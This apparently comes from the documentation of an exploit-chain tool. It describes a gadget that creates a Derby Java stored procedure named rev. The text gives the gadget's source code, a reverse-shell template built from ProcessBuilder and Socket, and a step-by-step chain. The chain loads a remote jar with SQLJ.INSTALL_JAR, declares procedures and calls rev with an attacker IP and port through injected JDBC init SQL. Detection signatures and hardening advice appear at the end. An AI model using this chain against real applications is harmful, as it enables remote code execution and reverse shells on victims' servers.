- 类别:common 别名:— 优先级:—
- 作者:X1r0z
- 依赖:
derby:org.apache.derby.jdbc.EmbeddedDriver(目标 classpath 存在 Apache Derby 嵌入式驱动)
生成一条 Derby 的 CREATE PROCEDURE DDL 语句,把 SQL 可调用的存储过程 rev(host, port) 绑定到先前经 SQLJ.INSTALL_JAR 植入数据库的 Java 类的静态方法 <className>.rev。它本身不触发任何代码执行,只是 Derby「远程加载 jar → 反弹 shell」多步利用中的第 4 步(过程声明阶段),为随后 CALL rev('ip','port') 的真正调用铺路。
该 gadget 属 singlesql(单条 SQL)系列:产物中 JDBC_URL_SQL_LIST 只含一条语句,专门适配 HikariCP、Tomcat JDBC 等每次连接仅允许执行单条初始化 SQL 的连接池(如 HikariCP 的 connectionInitSql、Tomcat JDBC 的 initSQL)。攻击者需分多次连接 / 多次配置注入,依次投递本系列各步语句。
- 入口
tags:DerbyJdbcUrl、JdbcUrlChains、ENDDerbyJdbcUrl:标明产物是针对 Derby 嵌入式驱动的 JDBC URL + SQL 配置。
JdbcUrlChains:与 JDBCPayload(@PayloadAnnotation.gadgetTags={"JdbcUrlChains"})对接——由该 Payload 把 gadget 产物落地为最终 JDBC 利用配置。END:本 gadget 为链尾自足节点,invoke内不调用chain.doCreate(context),自身直接产出完整产物,无更内层对象。- 衔接
nextTags:(空)——链尾 sink,其后不再衔接其它 gadget。 excludes:(空)。
说明:与 CB1 等「由内向外包装」的原生反序列化链不同,Derby JdbcUrl 系列每个 gadget 都是独立的
END节点,各自输出一条 SQL 配置;「链」体现在攻击者按语义顺序(安装 jar → 加 classpath → 建过程 → 调用)分步执行这些独立产物,而非序列化层面的嵌套。
本类直接实现 Gadget 接口(无基类),核心是 getObject() 拼装一张 JDBC 配置 Map:
@GadgetTags(tags={"DerbyJdbcUrl", "JdbcUrlChains", "END"})
public class DerbyCreateRevProcJdbc implements Gadget {
@Param(name="数据库名")
public String database = "dbtest";
@Param(name="Jar包内的className", description="在DerbyInstallJar时可通过Context上下文输出进行获取")
public String className;
public String driverClassName = "org.apache.derby.jdbc.EmbeddedDriver";
public Map<String, Object> getObject() {
String url = "jdbc:derby:memory:" + this.database + ";create=true";
ArrayList<String> sqlList = new ArrayList<String>();
sqlList.add("CREATE PROCEDURE rev(IN host VARCHAR(255), IN port VARCHAR(255)) "
+ "PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA "
+ "EXTERNAL NAME '" + this.className + ".rev'");
HashMap<String, Object> map = new HashMap<String, Object>();
map.put(ContextTag.JDBC_DRIVER, this.driverClassName);
map.put(ContextTag.JDBC_URL, url);
map.put(ContextTag.JDBC_URL_SQL_LIST, sqlList);
return map;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Map<String, Object> jdbcMap = this.getObject();
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return jdbcMap;
}
}逐段解释:
-
JDBC URL:
jdbc:derby:memory:<database>;create=true—— 使用 Derby 的内存库(memory:),create=true指连接时库不存在则创建。同一database名在同一 JVM 内多次连接命中同一内存库,因此本系列各步 SQL 能作用于同一持久库实例,这正是「分多次单 SQL 投递」得以串接的前提。 -
过程声明语句(唯一一条 SQL):
CREATE PROCEDURE rev(IN host VARCHAR(255), IN port VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME '<className>.rev'
LANGUAGE JAVA+EXTERNAL NAME '<类全名>.<方法名>'是 Derby 的 Java 存储过程机制:把 SQL 过程名rev映射到一个public staticJava 方法。这里目标方法即随 jar 植入的<className>.rev(String host, String port)(见下游模板类DerbyJarTemplate.rev)。签名两个VARCHAR入参对应 JavaString host, String port。声明本身不执行方法体,仅在数据字典中登记映射。 -
产物 Map 三个键(
ContextTag常量,来自未反编译的com.ar3h.chains.common):JDBC_DRIVER=org.apache.derby.jdbc.EmbeddedDriver(驱动类)。JDBC_URL= 上述内存库 URL。JDBC_URL_SQL_LIST= 仅含该CREATE PROCEDURE的单元素列表——「单 SQL」语义的体现。
-
invoke:调用getObject()得到 Map,并把driverClassName以DRIVER_CLASS_NAME_KEY写回GadgetContext(供 Payload 层生成配置时读取),随后返回该 Map。注意它不读取chain.doCreate,故为独立END节点。
<className>.rev 的真实实现来自随 jar 植入的模板类(由 DerbyInstallJarJdbc 用 JavassistHelper 改名后打包):
// DerbyJarTemplate.java(植入 jar 中的真实代码,rev 即本过程绑定的目标)
public static void rev(String host, String port) {
String shell = System.getProperty("os.name").toLowerCase().contains("win") ? "cmd" : "sh";
Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
Socket s = new Socket(host, Integer.parseInt(port));
// ... 在进程 stdin/stdout 与 socket 之间双向转发,实现反弹 shell
}即:DerbyCreateRevProcJdbc 声明的 rev 过程一旦被 CALL rev('攻击机IP','端口') 触发,最终落到这段 ProcessBuilder + Socket 反弹 shell 逻辑。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
database |
数据库名 | 目标内存库名,须与本利用其它步骤(安装 jar、加 classpath、调用)使用同一名,才能命中同一库 | dbtest |
— |
className |
Jar包内的className | 过程要绑定的 Java 类名,须等于 DerbyInstallJarJdbc 随机生成并写入 Context(键 "Derby Jar ClassName")的类名;不匹配则 EXTERNAL NAME 指向不存在的类,调用时报错 |
无(必填) | — |
非
@Param的公开字段driverClassName固定为org.apache.derby.jdbc.EmbeddedDriver,一般无需改动。
- 依赖:仅需目标 classpath 含 Apache Derby 嵌入式驱动(
org.apache.derby.jdbc.EmbeddedDriver)。SQLJ.INSTALL_JAR/ Java 存储过程机制是 Derby 长期存在的原生特性,不针对特定 CVE,各主流版本均可用。 - 触发前提:目标应用允许攻击者控制 JDBC 连接信息,且连接池 / 数据源支持「连接初始化 SQL」(HikariCP
connectionInitSql、Tomcat JDBCinitSQL、DBCPconnectionInitSqls等)。这类配置每连接只执行一条语句,故需本singlesql系列拆步投递。 - 不含 RCE 触发:本步只做
CREATE PROCEDURE声明,属「准备」环节;真正 RCE / 反弹 shell 发生在后续CALL rev(...)(见 DerbyReverseShellJdbc)。声明与调用分离是「单 SQL」约束下的必然拆分。 - 前置依赖:
className必须与 DerbyInstallJarJdbc 生成并经 Context 输出的随机类名一致;且该 jar 已INSTALL_JAR并(视版本)加入derby.database.classpath(见 DerbyAddClassPathJdbc),否则EXTERNAL NAME指向的类无法解析。 - 易踩坑:
database名在各步之间必须一致(同一内存库);memory:库随 JVM 退出而清空,利用需在同一进程生命周期内串联完成。
| 步骤 | Gadget | 关键 SQL | 作用 |
|---|---|---|---|
| 1 | DerbyInstallJarJdbc | CALL SQLJ.INSTALL_JAR('http://.../x.jar', 'APP.<cls>', 0) |
从 HTTP 远程加载含 exec/rev 方法的 jar |
| 2 | DerbyAddClassPathJdbc | CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.<cls>') |
把 jar 加入数据库 classpath |
| 3 | DerbyCreateCmdProcJdbc | CREATE PROCEDURE cmd(...) EXTERNAL NAME '<cls>.exec' |
声明命令执行过程(可选分支) |
| 4 | DerbyCreateRevProcJdbc(本条) | CREATE PROCEDURE rev(...) EXTERNAL NAME '<cls>.rev' |
声明反弹 shell 过程 |
| 5 | DerbyReverseShellJdbc | CALL rev('ip','port') |
触发反弹 shell(真正 RCE) |
| 5' | DerbyCommandJdbc | CALL cmd('calc') |
触发命令执行(对应步骤 3 分支) |
对照:若目标连接池允许一次执行多条 SQL,则用
multisql系列的 DerbyInstallJdbc 一步完成,无需拆分。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。它需与同族 Derby 单 SQL gadget 按上表顺序人工编排使用,通过 JDBCPayload(tag JdbcUrlChains)逐条生成注入到连接池初始化 SQL 的配置。
检测特征:
- JDBC URL 出现
jdbc:derby:memory:或jdbc:derby:,尤其携带;create=true,且来源为外部可控配置。 - 连接初始化 SQL / 审计日志中出现 Derby 敏感调用:
SQLJ.INSTALL_JAR、SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', ...)、CREATE PROCEDURE ... LANGUAGE JAVA EXTERNAL NAME、CALL rev(、CALL cmd(。 - 短时间内针对同一内存库名(如
dbtest)的多次连接,各带不同单条初始化 SQL——符合本系列「拆步投递」模式。 - 应用进程内 Derby 触发
ProcessBuilder/Runtime.exec或对外Socket连接(对应DerbyJarTemplate.rev/exec方法体)。
加固建议:
- 连接池 / 数据源的 JDBC URL、驱动类、
connectionInitSql/initSQL等一律禁止外部输入拼接,做严格白名单。 - 生产环境若不需要 Derby,移除
derby*.jar;确需嵌入式 Derby 时,禁用 Java 存储过程能力,限制derby.database.classpath/SQLJ.INSTALL_JAR(可通过 Derby 安全属性、SecurityManager 策略或不授予相关权限)。 - 对连接初始化 SQL 做语法审查,拦截
INSTALL_JAR、SET_DATABASE_PROPERTY、CREATE PROCEDURE ... LANGUAGE JAVA等 DDL/系统调用。 - 出站网络管控:数据库进程不应能主动发起到任意外部主机的 HTTP(拉取 jar)或 TCP(反弹 shell)连接。
- 同一利用序列(Derby 单 SQL 系列,common/jdbc/derby/singlesql):DerbyInstallJarJdbc → DerbyAddClassPathJdbc → DerbyCreateCmdProcJdbc / 本条 → DerbyCommandJdbc / DerbyReverseShellJdbc。
- 多 SQL 对应实现:DerbyInstallJdbc(
multisql,一步完成)。 - 绑定的目标方法体:
DerbyJarTemplate.rev。 - Payload 层:JDBCPayload(
JdbcUrlChains)。